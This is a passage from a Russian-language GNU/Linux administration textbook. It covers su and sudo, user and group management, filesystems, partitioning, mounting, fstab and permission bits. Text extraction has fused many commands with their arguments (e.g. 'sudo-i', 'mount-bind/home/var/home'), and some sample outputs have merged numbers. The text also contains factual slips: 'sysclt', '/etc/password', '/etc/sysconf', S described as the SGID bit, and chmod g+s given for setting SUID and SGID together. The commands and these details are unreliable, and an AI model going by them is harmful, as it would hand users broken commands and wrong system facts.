Примечание: Обе утилиьты не запрашивают пароль, если они запущены от имени суперпользо- вателя

Утилиьта sudo интерпретирует аргумент как команду, которую нужно выполнить от имени другого пользователя. Утилиьта su интерпретирует аргумент как имя пользователя от имени котрого нужно запустить командный интерпретатор. Утилиьта sudo по умолчанию не запускает командный интерпретатор. Для его запуска нужно использовать дополнительную опцию:

sudo-i

или указать командный интерпретатор как аргумент:

sudo/bin/bash

Утилиьта su по умолчанию запускает командный интерпретатор. Для выполнения команды без запуска командного интерпретатора с помощью su нужно использовать специальную опцию:

su-c<команда>

46 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Обе утилиьты могут выполнять команды и запускать командный интерпретатор от имени любого пользователя: Запуск командного интерпретатора Запуск команды su su <пользователя> su <пользователя> -с <команда> sudo sudo -u <пользователя> -i sudo -u <пользователя> <команда>

Примечание: При установке Red Hat совместимых дистрибутивов GNU/Linux создается специ- альная группа администраторов системы - wheel. Пользователи принадлежащие этой группе имеют право выполнять команду sudo. Для того, чтобы создаваемый при инсталляции пользователь был добавлен в группу wheel нужно указать, что он может получать права администратора системы.

Примечание: При установке Dtbian совместимых дистрибутивов GNU/Linux создаваемый при инсталляции пользователь по умолчанию добавляется в специальные группы администраторов системы - admin, wheel и sudo.

Дополнительные сведения по команде su • Команда:

su<пользователь>-

кроме прав пользователя устанавливает соответствующие ему переменные окружения.

Примечание: Сравните значение переменной PATH (echo $PATH) после выполнения команд su и su -

• Команда:

su<пользователь>-l

кроме прав пользователя устанавливает соответствующие ему переменные окружения и вы- полняет все действия, которые осуществляются при его входе в систему. Дополнительные сведения по команде sudo Для выполнения команды sudo необходимо ввести пароль текущего пользователя. Получается, что любой пользователь “помнящий” свой пароль может выполнить любую команду от имени любого другого пользователя (в том числе и администратора системы)? Нет! По умолчанию обычный пользователь не имеет права выполнить ни одной команды с помощью sudo. Только администратор системы может разрешить выполнять: • заданные команды, • с заданными аргументами и ключами, • от имени заданного пользователя, • с заданного компьютера.

Команды управления учетными записями

Новые учетные записи создаются командой:

useradd<ОПЦИИ><ИМЯ_ПОЛЬЗОВАТЕЛЯ>

Например:

useradd student

1.1. Операционная система GNU/Linux 47 ABC Unix, Выпуск 1.0.01

Команда useradd без дополнительных опции, создает не только учетную запись пользователя (в данном случае student), но и учетную запись основной группы с тем же именем (в данном случае student). Для изменения параметров существующей учетной используется команда:

usermod<ОПЦИИ><ИМЯ_ПОЛЬЗОВАТЕЛЯ>

Например, командой:

usermod-G<ГРУППА1>,...<ГРУППАN><ИМЯ_ПОЛЬЗОВАТЕЛЯ>

можно включить пользователя с указанным именем в дополнительные группы:

id uid=1001(student) gid=1001(student) группы=1001(student)

usermod-G users,wheel student id

uid=1001(student) gid=1001(student) группы=100(users),10(wheel),1001(student)

Опция -G не добавляет, а заменяет дополнительные группы пользователя, поэтому в ней нужно указывать через запятую (без пробелов) все группы в которые должен входить пользователь. Учет- ную запись нельзя использовать для входа в систему до тех пор пока ей хотя бы один раз не будет присвоен пароль командой:

# passwd <ИМЯ_ПОЛЬЗОВАТЕЛЯ> Changing password for user student. New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully.

Новый пароль вводится дважды, при вводе пароля символы не отображаются, курсор остается на месте. Пароль может состоять только из букв латинского алфавита, цифр и знаков препинания. Суперпользователь root может вводить и менять пароль любого пользователя, указав имя поль- зователя в качестве аргумента команды passwd. Обычный пользователь может менять только свой пароль командой passwd без аргументов. При смене своего пароля обычный пользователь сначала должен ввести старый пароль, затем дважды новый пароль:

$ passwd Changing password for user student. Changing password for student (current) UNIX password: New UNIX password: Retype new UNIX password:пароль[Enter] passwd: all authentication tokens updated successfully.

При смене своего пароля обычный пользователь должен ввести новый пароль удовлетворяющий заданным в настройках системы критериям сложности. По умолчанию требования к паролю сле- дующие: 1. длинна пароля должна быть не меньше 6 символов; 2. должны использоваться и большие и маленькие буквы латинского алфавита; 3. в пароле должна быть хотя бы одна цифра и хотя бы один из знаков препинания. Только пользователь root может ввести пользователю пароль не удовлетворяющий критерию слож- ности. При этом система выводит предупреждение, но пароль все равно принимается:

# passwd <ИМЯ_ПОЛЬЗОВАТЕЛЯ> Changing password for user student. New UNIX password:пароль[Enter] BAD PASSWORD: it's WAY too short

48 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Retype new UNIX password:пароль[Enter] passwd: all authentication tokens updated successfully.

Использование опции -l в команде passwd приводит к блокированию (запрету) учетной записи пользователя без её удаления: passwd-l<ИМЯ_ПОЛЬЗОВАТЕЛЯ>

После выполнения этой команды вход в систему под пользователем <ИМЯ_ПОЛЬЗОВАТЕЛЯ> будет запрещен до тех пор пока учетная запись не будет разблокирована командой: passwd-u<ИМЯ_ПОЛЬЗОВАТЕЛЯ>

Для удаления учетной записи предназначена команда: userdel<ИМЯ_ПОЛЬЗОВАТЕЛЯ>

Примечание: Большинство команд выводят информацию на экран только если это необходимо для выполнения заложенных в них функции (например, команда id), или, если нарушен синтаксис их использования. Команды управления учетными записями useradd, usermod, userdel, при пра- вильном использовании выполняются «молча» (не выводят ни каких сообщений).

Наряду с командами управления учетными записями пользователя система поддерживает анало- гичные по назначению команды управления регистрационными записями групп. Создавать, из- менять и удалять группы может только «суперпользователь». Для создания группы применяется команда: groupadd<ОПЦИИ><ИМЯ_ГРУППЫ>

Например: groupadd education

Команда: groupmod<ОПЦИИ><ИМЯ_ГРУППЫ>

изменяет параметры группы. Например, опция -g меняет идентификатор группы: groupmod-g 10000 education

Удалить группу можно командой: groupdel<ОПЦИИ><ИМЯ_ГРУППЫ>

Файловая система

Как хранятся данные

Физически жесткий диск разбит на сектора размером 512 байт. Первый сектор дискового разде- ла в любой файловой системе считается загрузочной областью. Остальные сектора объединены в логические блоки. Логический блок - наименьшая адресуемая единица данных (файла всегда за- нимают целое число блоков). Блоки, в свою очередь, объединяются в группы. Группы блоков и блоки внутри группы нумеруются последовательно.

1.1. Операционная система GNU/Linux 49 ABC Unix, Выпуск 1.0.01

Суперблок

Суперблок располагается со смещением 1024 байта от начала файловой системы и имеет размер 1024 байта. В суперблоке определяется размер файловой системы, максимальное число файлов в разделе, объем свободного пространства – и содержится информация о том, где искать незанятые участки. При запуске ОС суперблок считывается в память, и все изменения файловой системы регистрируются в этой копии суперблока (на диск изменения записываются только периодически). При остановке системы актуальное содержание суперблока обязательно должно быть записано на диск, иначе при следующей загрузке ОС информация, в суперблоке, не будет соответствовать реальному состоянию файловой системы.

Индексные дескрипторы

Файловая система хранит два типа данных. Первый тип – это пользовательские данные, а второй – метаданные, необходимые для того, чтобы организовать доступ к пользовательским данным в виде привычных файлов. В большинстве современных файловых систем метаданные хранятся в виде так называемых ин- дексных дескрипторов (index node или просто i-node). i-node связывают логические блоки данных файлов в список. Сами i-node тоже связаны в список. Начало этого списка - первый i-node, храня- щийся в суперблоке. Индексные дескрипторы обычно содержат следующую информацию: • Файловые разрешения (адреса блоков пользовательских данных и адреса блоков других де- скрипторов). • Размер файла. • Идентификатор владельца (UID). • Идентификатор группы владельцев (GID). • Количество ссылок на файл. • Время создания, последнего доступа и изменения файла. • Список контроля доступа (ACL). • Расширенные атрибуты файла. Прочитать часть информации, хранящейся в дескрипторе файла можно с помощью команды stat: stat/home

Файл: «/home» Размер: 4096 Блоков: 8 Блок В/В: 4096 каталог Устройство: 801h/2049d Inode: 390915 Ссылки: 3 Доступ: (0755/drwxr-xr-x) Uid: (0/root) Gid: (0/root) Контекст: system_u:object_r:home_root_t:s0 Доступ: 2013-07-19 13:35:05.926742823 +0400 Модифицирован: 2013-07-19 12:24:27.927570420 +0400 Изменён: 2013-07-19 12:24:27.927570420 +0400 Создан: -

Фрагментация

При создании расширенной файловой системы около 5% дискового пространства резервируется для системных задач во избежание необходимости дефрагментации. В обычных условиях необ- ходимости в дефрагментации нет. Тем не менее это не означает, что файловые системы ext не подвержены фрагментации. Степень фрагментации файлов можно проанализировать с помощью команды filefrag

50 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Виртуальная память

Виртуальная память является методом расширения оперативной памяти за счет файловой системы.

Область подкачки

Для организации виртуальной память используется так называемая “область подкачки”. По умол- чанию область подкачки размещается на специальном swap-разделе. Для получения информации об области подкачки можно использовать несколько команд. Команда: swapon-s

выводит информацию о используемых разделах подкачки

Filename Type Size Used Priority /dev/sdaX partition 78156160-1

Команда: free-m

позволяет анализировать статистику использования памяти, включая область подкачки:

total used free shared buffers cached Mem: 7825 969 68560 25 281 -/+ buffers/cache: 662 7163 Swap: 76320 7632

Команда: top

выводит в реальном времени (наряду со списком процессов, загрузкой ЦП и оперативной памяти) информацию об объеме и использовании области подкачки:

Tasks: 152 total,1 running, 151 sleeping,0 stopped,0 zombie %Cpu(s):0,1 us,0,2 sy,0,0 ni, 99,7 id,0,0 wa,0,1 hi,0,0 si,0,0 st KiB Mem: 8013520 total, 992996 used, 7020524 free, 25948 buffers KiB Swap: 7815616 total,0 used, 7815616 free, 288328 cached

Создание области подкачки

В качестве области подкачки можно использовать, как раздел, так и обычный файл. Для создания области подкачки нужно: • Создать swap-раздел (тип раздела = 82) или пустой файл необходимого размера. • Создать область подкачки с помощью команды mkswap. • Активизировать область подкачки с помощью команды swapon -a. • Если необходимо активизировать область подкачки при загрузке системы, то добавить точку монтирования для области подкачки в файл /etc/fstab.

Создание раздела

Информация на жестком диске (HDD) делится на разделы. Параметры разбиения на разделы хранятся в специальной области диска, называемой таблицей разделов (partition table). Одной из

1.1. Операционная система GNU/Linux 51 ABC Unix, Выпуск 1.0.01

характеристик раздела является его тип - число, которое определяет для какой ОС на данном разделе хранятся данные. Для ОС GNU/Linux используются два типа разделов: 83 (Linux native) – для хранения программ и данных 82 (Linux swap) – для организации виртуальной памяти Чтобы посмотреть доступные разделы на всех устройствах (в том числе и съемных) используется команда:

fdisk-l

Чтобы посмотреть доступные разделы на заданном устройстве используется команда:

fdisk-l<файл устройства>

Например:

fdisk-l/dev/sda

Для создания раздела используется команда:

fdisk<файл устройства>

Например, для создания раздела на первом накопителе нужно выполнить команду:

fdisk/dev/sda

После запуска программа fdisk переходит в интерактивный режим:

Command (m for help):

Меню команд вызывается нажатием клавиши m. Текущая таблица разделов отображается коман- дой p. Программа позволяет создавать и удалять разделы, а также изменять тип существующих разделов. Список доступных типов разделов можно получить по команде l. В любой момент можно выйти из программы по команде q без сохранения сделанных изменений. Новый раздел создается с помощью команды n:

Command (m for help): n[Enter] Command action l logical (5 or over) p primary partition (1-4)

Если существует возможность создать логический диск или основной раздел, появляется меню приведенное выше. Для создания логического диска нужно ввести команду l, для основного раз- дела - p. Далее необходимо указать первый цилиндр для раздела (обычно значение предлагаемое по умолчанию):

First cylinder (417-522, default 417): [Enter] Using default value 417

и размер раздела:

Last cylinder or+size or+sizeM or+sizeK (417-522, default 522):+256M[Enter]

Размер раздела можно указать номером последнего цилиндра (по умолчанию предлагается запол- нить разделом все непрерывное свободное место) или указать размер раздела. В примере создается раздел размером 256 мегабайт. Для выхода с записью изменений на носитель необходимо ввести команду w.

52 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Примечание: Если изменения делаются на носителе с которого была загружена система, то может потребоваться перезагрузка.

Создание файловой системы

Для того, чтобы ОС могла хранить информацию на разделе, он должен быть специальным обра- зом подготовлен (отформатирован). Каждая ОС использует свой формат разделов, называемый типом файловой системы. Операционная система GNU/Linux поддерживает несколько файловых систем (EXT3, EXT4, XFS, ReiserFS, Btrfs, JFS и т.д.), среди которых наибольшее распространение получила так называемая расширенная файловая система (Extended File System). Первая версия расширенной файловой системы (ext) появилась в ранних версиях GNU/Linux. За- тем появился ее улучшенный вариант - ext2. На сегодняшний день активно используются две версии расширенной файловой системы – третья (ext3) и четвертая (ext4). Принципиальное отличие ext3 и ext4 от ext и ext2 заключается в поддержке журналирования операций. Файловая система ext3 обратно совместима с ext2, поэтому для перехода с ext2 на ext3 нет необхо- димости повторно разбивать диск на разделы. Обычно для этого достаточно выполнить команду: tune2fs –j <раздел>

которая создает журнал файловых операций. Например, если файловая система ext2 используется на втором разделе первого жесткого диска, то для ее преобразования в ext3 достаточно запустить команду: tune2fs-j/dev/sda2.

Помимо журналирования, в ext3 реализован ряд других улучшений, повышена скорость и надеж- ность. В ext3 предусмотрено три режима журналирования: Тип Характеристики Journal Полное журналирование данных. В журнал записываются метаданные и данные. Самый медленный режим. Ordered Записываются только метаданные, но этот способ может устранять повреждения отложенной записи. Writeback Записываются только метаданные. Это самый быстрый режим. Последней версией расширенной файловой системы на сегодняшней день является файловая систе- ма ext4, обратно совместимая с ext2 и ext3. По сравнению с ext3 в ext4 реализован ряд улучшений, в основном касающихся скорости и надежности. Файловая система ext4 поддерживается ядром Linux начиная с версии 2.6.28. Для создания файловых систем используется команда: mkfs-t<тип><раздел>

Раздел указывается с помощью имени файла устройств, которое получается из имени файла для накопителя добавлением номера раздела. Основные разделы нумеруются с 1 по 4, нумерация ло- гических дисков начинаются с 5. Для примера ниже приводится таблица с нумерацией разделов: Раздел 1-ый диск 2-ой диск основной /dev/sda1 /dev/sdb1 основной /dev/sda2 /dev/sdb2 основной /dev/sda3 /dev/sdb3 расширенный /dev/sda4 /dev/sdb4 логический диск /dev/sda5 /dev/sdb5 логический диск /dev/sda6 /dev/sdb6 логический диск /dev/sda7 /dev/sdb7

1.1. Операционная система GNU/Linux 53 ABC Unix, Выпуск 1.0.01

Пример форматирования шестого раздела второго накопителя: mkfs-t ext3/dev/sdb6

Команда mkfs выполняет одну из программ создания файловой системы mkfs.<тип>, например, mksf.ext3 или mkfs.reiserfs. Программы группы mkfs инициализируют специальную область раз- дела, называемую суперблоком файловой системы. Суперблок содержит ссылки на все значимые элементы файловой системы (например, на оглавление корневого каталога, список свободных бло- ков, на список файлов и т.д.)

Проверка файловой системы

Команда fsck используется для проверки и исправления файловой системы. Команду следует вы- полнять на размонтированных разделах. Для проверки файловой системы используется команда: fsck<раздел>

Раздел указывается с помощью имени файла устройств. Полезные ключи команды:

-f – принудительная проверка, применяется для смонтированных разделов, -y – отвечать на все запросы команды «да».

Монтирование файловой системы

Для доступа к созданному и отформатированному разделу необходимо его содержимое отобразить в виде каталога – смонтировать. Монтирование файловых систем осуществляется командой mount. Основные опции команды: quiet – разрешает копировать/переносить файлы без вопросов о невозможности смены владельца/группы владельцев; iocharset – кодировка для отображения имен содержащих не латинские буквы; codepage – кодовая страница для сохранения имен содержащих не латинские буквы ; rw – монтировать для чтения и записи; ro – монтировать только для чтения;

Примеры: Монтирование файловой системы Монтирование сетевого ресурса MS Windows с сервера wsrv в каталог: mount-t smbfs-o username=user,password=123456//wsrv/public/home/master/public

Монтирование с указанием кодировки, используемой для отображения имен файлов: mount-o iocharset=utf8/dev/sdf1/mnt/media/usb

Монтирование с явным указанием используемой файловой системы: mount-t vfat/dev/sdf1/mnt/media/usb

Монтирование каталога /var/ftp с удаленной машины lsrv в локальный каталог: mount lsrv:/var/ftp/home/master/lsrv/ftp

54 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Монтирование образа CDROM с дистрибутивом GNU/Linux в каталог: mount-o ro,loop/home/VMimages/GNU/Linux.iso/mnt/iso/disk

Монтирование образа CDRW на запись: mount-t cdfs/dev/cdrom/mnt/cdrom

Монтирование каталога /home в каталог /var/home: mount-bind/home/var/home

Конфигурационный файл

Для упрощения процедуры монтирования, а также для автоматического монтирования файловых систем при загрузке ОС используется конфигурационный файл /etc/fstab. Он задает связь между разделами и точками монтирования, определяет опции монтирования и флаги файловых систем. Пример файла /etc/fstab/:

/dev/sda1/boot ext2 defaults12 /dev/sda2/ ext3 defaults11 /dev/sda5 swap swap defaults00 tmpfs/dev/shm tmpfs defaults00 devpts/dev/pts devpts gid=5,mode=62000 sysfs/sys sysfs defaults00 proc/proc proc defaults00

Каждая строка файла соответствует монтируемой файловой системе (не обязательно разделу HDD). Первая колонка определяет имя файла устройства для которого выполняется операция монтирования. Во второй колонке описывается точка монтирования. Третья колонка указывает тип файловой системы. В четвертой содержатся опции, показывающие как эта файловая система будет монтироваться. В последней колонке задаются флаги файловой системы. Первая цифра, 0 или 1, показывает, должна ли система копироваться при помощи команды dump (это нужно для системных резервных копий). Вторая цифра может быть 0, 1 или 2, она показывает порядок, в котором файловая система должна быть проверена при загрузке: • 0 - не должна проверяться. • 1 - должна проверяться первой и использоваться как корневая (/). • 2 - ставится для всех остальных систем. В файле fstab, приведенном выше, корневая файловая система расположена на первом IDE жестком диске, в первом разделе. Пространство свопинга (подкачки) расположено на первом IDE жестком диске, в пятом разделе (первом логическом диске расширенного раздела). Файловым системам с устройством как “none” соответствуют виртуальные устройства необходимы для работы системы. Опции в четвертой колонке зависят от типа файловой системы. В приведенном примере / мон- тируется с опцией “default”, что соответствует набору опций по умолчанию для данной файловой системы. Для /media/cdrom (CD привод) опции другие - CDROM не монтируется автоматически при включении компьютера (опция noauto) и будет доступен только для чтения (опция ro). Неко- торые опции, использующиеся в файле и не использующиеся при монтировании командой mount: auto/noauto – монтировать или нет при загрузке ОС; user – разрешить монтировать обычным пользователям.

Для отображения свободного места на смонтированных разделах используется команда df (disk free), описанная выше.

1.1. Операционная система GNU/Linux 55 ABC Unix, Выпуск 1.0.01

Анализ состояния файловой системы

Наиболее распространенные команды анализа файловой системы: df, du, fsck, fdisk и iostat.

Команды du и df

Команды df и du используются для получения информации об использовании диска и свободном дисковом пространстве. Для просмотра размеров файлов и каталогов используется команда du. Например: du-csh/var 73M/var 73M total

показывает размер файлов в директории /var. Команда df -h выводит информацию об использовании файловыми системами дискового простран- ства для всех точек монтирования в удобочитаемом (-h) формате: df-h File System Size Used Avail Use% Mounted on /dev/mapper/VolGroup00-LogVol00 37G 3.2G 32G 10%/ /dev/sda1 99M 12M 82M 13%/boot tmpfs 506M0 506M0%/dev/shm

Команда fsck

Команда fsck используется для проверки и восстановления файловой системы. Например, проверка на наличие ошибок раздела на устройстве /dev/sda2 выглядит так: fsck/dev/sda2 fsck from util-linux-ng 2.17.2 e2fsck 1.41.12(17-May-2010) /dev/sda3: clean, 702/192000 files, 52661/768000 blocks

Примечание: Перед проверкой раздел необходимо отмонтировать. Проверку лучше производить в однопользовательском режиме.

Команда iostat

Команда iostat выводит статистику дисковых операций ввода/вывода: iostat avg-cpu:%user%nice%system%iowait%steal%idle 0.25 1.74 1.26 2.89 0.00 93.86

Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn sda 10.69 351.52 227.60 1759192 1139038 sda1 0.06 0.45 0.00 2254 22 sda2 10.62 351.01 227.60 1756658 1139016 dm-0 40.06 350.72 227.60 1755178 1139016 dm-1 0.02 0.18 0.00 9200 hdc 0.00 0.03 0.00 1440 fd0 0.00 0.00 0.00 160

56 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Оптимизация настроек файловой системы

Производительность файловой системы может стать узким местом в системе.

Монтирование с использованием специальных опций

Для настройки параметров монтирования используется четвертый столбец в файле /etc/fstab. На- пример, чтобы отключить аудит времени последнего доступа к файлам для определенной файловой системы (что потенциально может повысить производительность), можно добавить опцию noatime. Все изменения, которые вы вносите в файл /etc/fstab, вступают в силу после перезагрузки ком- пьютера. Чтобы применить их без перезагрузки, можно выполнить команду: mount-o remount<точка_монтирования>

Утилита tune2fs

Утилита командной строки tune2fs используется для настройки параметров файловой системы. Например, работу с разделами, содержащими большое количество каталогов и файлов можно уско- рить с помощью хешированных b-деревьев: tune2fs-O dir_index/dev/sda5

Настройка параметров ядра

Для просмотра и изменения параметров ядра используется команда sysctl. Чтобы получить список параметров, относящихся к файловой системе, и их текущие значения, можно выполнить цепочку команд: sysclt-a| grep fs

которая выводит примерно следующую информацию:

... fs.quota.warnings=1 fs.quota.syncs= 23 fs.quota.free_dquots=0 fs.quota.allocated_dquots=0 fs.quota.cache_hits=0 fs.quota.writes=0 fs.quota.reads=0 fs.quota.drops=0 fs.quota.lookups=0 fs.suid_dumpable=0 fs.inotify.max_queued_events= 16384 fs.inotify.max_user_watches= 8192 fs.inotify.max_user_instances= 128 fs.aio-max-nr= 65536 fs.aio-nr=0 fs.lease-break-time= 45 fs.dir-notify-enable=1 fs.leases-enable=1 fs.overflowgid= 65534 fs.overflowuid= 65534 fs.dentry-state= 26674 23765 45000 fs.file-max= 102263 ...

1.1. Операционная система GNU/Linux 57 ABC Unix, Выпуск 1.0.01

Изменить эти параметры можно с помощью команды sysclt -w. Например, если сервер обрабатывает большое количество мелких файлов и на нем постоянно воз- никают ошибки "running out of file handles", то можно увеличить максимальное число откры- ваемых файлов с помощью команды: sysclt-w file-max=xxxxxx,

где xxxxxx – необходимое максимальное количество открываемых файлов. Любые изменения, сделанные с помощью sysctl, работают до первой перезагрузки.Чтобы эти изме- нения действовали после перезагрузки, необходимо открыть файл /etc/sysconf в любом текстовом редакторе и внести изменения в него. Если желаемый параметр отсутствует, его необходимо доба- вить.

Типы файлов

Обычный файл

Обычный файл или просто файл - самый распространенный тип файла, который объединяет самые различные виды файлов, такие как текст, изображения, бинарные файлы, библиотеки и т.д. Пустой файл может быть создан командой: touch<имя_файла>

или перенаправлением вывода:

><имя_файла>

Для удаления обычного файла используется команда: rm<имя_файла>

Каталог

Каталог (директория) - это второй самый распространенный тип файла, предназначенный для хранения в нем других файлов любого типа, в том числе и других каталогов. Каталог может быть создан командой: mkdir<имя_каталога>

Для удаления пустых каталогов используется команда: rmdir<имя_каталога>

При попытке удалить каталог, в котором есть файлы, выдается сообщение об ошибке: rmdir: failed to remove '<имя_каталога>': Directory not empty

В этом случае каталог можно удалить командой: rm-R-f<имя_каталога>

Предупреждение: Эта команда удаляет все файлы и каталоги рекурсивно без какого либо запроса на подтверждение.

58 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Символическая ссылка

Символическая ссылка это файл содержащий указатель на другой файл любого типа.

Примечание: Существует два типа ссылок на файл: • символические (мягкие) ссылки; • жесткие ссылки. Различие между ними в том, что мягкая ссылка ссылается на имя файла, в то время как жест- кая ссылка является самостоятельным файлом указывающим на ту же информацию в файловой системе что и другой файл. Жесткие ссылки не работают с файлами, расположенными на разных разделах.

Для создания символической ссылки используется команда: ln-s<имя файла><имя ссылки>

Для удаления символической ссылки можно использовать команду unlink или rm.

Символьное устройство

Файлы символьных устройств позволяют пользователям и программам обмениваться данными с последовательными устройствами.

Блочное устройство

Файлы блочных устройств позволяют пользователям и программам обмениваться данными с устройствами прямого доступа.

Сокеты локального домена

Сокеты локального домена используются для обмена данными между процессами. В основном они используются системными сервисами. Сокеты могут быть созданы с помощью системного вызова socket, а удалены с помощью системной функции unlink или командой rm.

Именованные каналы

Как и локальные сокеты, именованные каналы позволяют осуществлять обмен данными между ло- кальными процессами. Они могут быть созданы с помощью команды mknod, а удалены с помощью команды rm.

Основные системные файлы и каталоги

• /bin, /sbin -находятся исполняемые файлы (программы) большинства утилит системы. Здесь находятся программы, которые могут понадобиться системному администратору или другим пользователям для управления системой и ее восстановления после сбоев. • /boot -находятся файлы, необходимые для загрузки ядра и само ядро. Пользователю прак- тически никогда не требуется непосредственно работать с этими файлами.

1.1. Операционная система GNU/Linux 59 ABC Unix, Выпуск 1.0.01

• /dev -находятся все имеющиеся в системе файлы устройств: файлы особого типа, предна- значенные для обращения к различным системным ресурсам и устройствам (англ. devices - устройства). В файлах устройств в действительности не хранятся никакие данные, с их помощью осуществляется обмен между устройствами и ОС. • /etc -содержит системные конфигурационные файлы, в которых хранится информация о пользователях и настройках системы. • /home -расположены каталоги, принадлежащие пользователям системы - домашние каталоги пользователей. По умолчанию, в GNU/Linux системах обычные пользователи могут изменять информацию только в своих домашних каталогах. • /lib -содержатся библиотеки, необходимые для работы наиболее важных системных утилит, размещенных в каталогах /bin и /sbin. В том же каталоге находятся модули ядра (подката- лог modules), шрифты и раскладки клавиатуры, используемые в консольном режиме работы (подкаталог kbd). • /media -предназначен для временного монтирования файловых систем, находящихся на съем- ных носителях (CD-ROM, USB-flash и др.). • /mnt -предназначен для монтирования файловых систем, находящихся на стационарных но- сителях. • /proc -все файлы “виртуальные” - они располагаются не на диске, а в оперативной памяти. В этих файлах содержится информация о программах (процессах), выполняемых в данный момент в системе. • /root -домашний каталог системного администратора. • /tmp -предназначен для временных файлов: в таких файлах программы хранят необходимые для работы промежуточные данные. После завершения программы временные файлы теря- ют смысл и должны быть удалены. Обычно каталог /tmp очищается при каждой загрузке системы. • /var -размещаются те данные, которые создаются в процессе работы разными программами и предназначены для передачи другим программам и системам (очереди печати, электронной почты и др.) или для сведения системного администратора (системные журналы, содержащие протоколы работы системы). В отличие от каталога /tmp сюда попадают те данные, которые могут понадобиться после того, как создавшая их программа завершила работу. • /usr -во многом повторяет структуру корневого каталога. Здесь можно найти такие же под- каталоги bin, etc, lib, sbin, как и в корневом каталоге. Однако в корневой каталог попадают только утилиты, необходимые для загрузки и восстановления системы в аварийной ситуации - все остальные программы и данные располагаются в подкаталогах каталога /usr. • /opt -предназначен для установки стороннего коммерческого программного обеспечения. Для каждого пакета создается свой подкаталог (имя подкаталога отражает название пакета), по- вторяющий структуру корневого каталога. Некоторые файлы и подкаталоги каталога /etc: • fstab - конфигурация файловых систем, автоматически монтирующихся при загрузке; • group - системные группы; • inittab - конфигурация последовательности загрузки (для init); • password - системные пользователи; • rc.d/ - директория системы инициализации init (в стиле UNIX): • init.d/ - скрипты управления сервисами (сервисами); • rc.d/ - директории уровней запуска, содержат ссылки на скрипты управления сервисами в init.d; • sysconfig/ - файлы конфигураций сервисов; • shadow - закодированные пароли пользователей;

60 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Некоторые файлы и подкаталоги каталога /etc/sysconfig: • grub - файл с настройками загрузчика grub; • i18n - конфигурация общесистемной локали, локаль отдельных пользователей настраивается в домашнем каталоге с помощью файла .i18n; • network - файл с общими для всех сетевых интерфейсов параметрами; • network-scripts/ - каталог для управления и настройки сетевых интерфейсов.

Права доступа и маска доступа

Каждому объекту (процессу, защищенной области памяти, файлу, каталогу, устройству, и.т.д) в UNIX-системе присваивается три стандартных атрибута: • маска доступа, • uid владельца, • gid группы владельцев. Маску доступа условно можно разбить на четыре группы полей, каждая из которых в свою очередь содержит три бита: Дополнительные Права владельца Права группы Права остальных sSt rwx rwx rwx где: s - бит установки идентификатора пользователя (SUID); S - бит установки идентификатора группы (SGID); t - дополнительный бит. r - бит, разрешающий чтение; w - бит, разрешающий запись; x - бит, разрешающий исполнение.

Назначение битов r, w, x для файлов очевидно. Для каталогов, установленный бит r позволяет получить имена (и только имена) файлов. Для открытия каталога (например, командой cd) и чтения атрибутов файлов в нём (например, командой ls -l) требуется установить бит x. Установка SUID для файла позволяет запускать его на исполнение не от своего имени, а от имени владельца файла. Установка SUID для каталога указывает, что владельцем всех вновь создаваемых в каталоге фай- лов будет владелец каталога, а не текущий пользователь. Аналогично действует бит SGID, но для группы владельцев. Бит SUID и SGID устанавливаются командами: • SUID chmod u+s<имя файла или каталога>

• SGID chmod g+s<имя файла или каталога>

• одновременно SUID и SGID

1.1. Операционная система GNU/Linux 61 ABC Unix, Выпуск 1.0.01

chmod g+s<имя файла или каталога> t-бит еще называют битом прикрепления (sticky bit) Если sticky bit установлен на каталог, то удалить файлы из каталога может только владелец этого файла (если у него есть право на запись в этот каталог). Группа владелецев и остальные пользо- ватели имеющие право на запись этого файла не имеют права удалить его. t-бит для исполняемого файла предписывает системе оставлять образ запущенного из этого файла процесса в памяти. Что ускоряет повторный запуск программы так как чтение кода из файла более не требовалось. Бит прикрепления устанавливается командой: chmod+t<имя файла или каталога>

Права доступа принято представлять в виде двоичного числа, в котором 1 в соответствующем разряде означает наличие доступа а 0 запрет доступа. Старшие сброшенные биты при этом обычно не указываются. Маску доступа часто записывают в символьном виде, указывая соответствующий символ s, S, t, r, w, x если бит установлен, или символ -, если он сброшен. Например, маска: символьный вид rwx r-x r-x двоичный вид 111 101 101 восьмеричный вид 7 5 5 означает, что владелец имеет полные права на объект, члены группы владельцев и все остальные – только права на чтение и исполнение файла. Все дополнительные биты в примере равны 0, поэтому в восьмеричном виде маску можно записать как 0755 или 755. Доступ к файлам управляется с помощью изменения владельцев файла и изменения маски атри- бутов доступа (прав доступа).

Управление маской доступа

Для изменения прав доступа к файлу используется команда: chmod [опции]<атрибуты доступа><файл1><файл2>...<файл N>

Примечание: Только владелец или суперпользователь может изменить права доступа к файлу.

Основные опции команды: -R применить команду рекурсивно -v выводить информацию о ходе выполнения команды и возникших проблемах. Атрибуты доступа могут быть заданы в символьном или в числовом виде. В символьном виде права задаются в следующем формате:

{u|g|o|a}{+|-|=}{r|w|x|s}

Первый символ определяет для кого будут изменены права доступа: u – для владельца файла; g – для членов группы-владельцев файла; o – для всех остальных пользователей; а – изменить все три группы прав.

Второй символ определяет действия, которые необходимо произвести с правами доступа:

62 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

+ добавляет соответствующее право, - отменяет соответствующее право, = устанавливает права в указанное значение.

Последующие символы определяют, какие права будут изменены: r - право на чтение файла, w – право на запись, x - право на исполнение или вход в каталог,

Примечание: Для того, чтобы устанавливать право на вход в каталог не изменяя права на исполнение файлов существует специальный символ X. X устанавливает право на вход в каталог не изменяя при этои права на исполнение файлов.

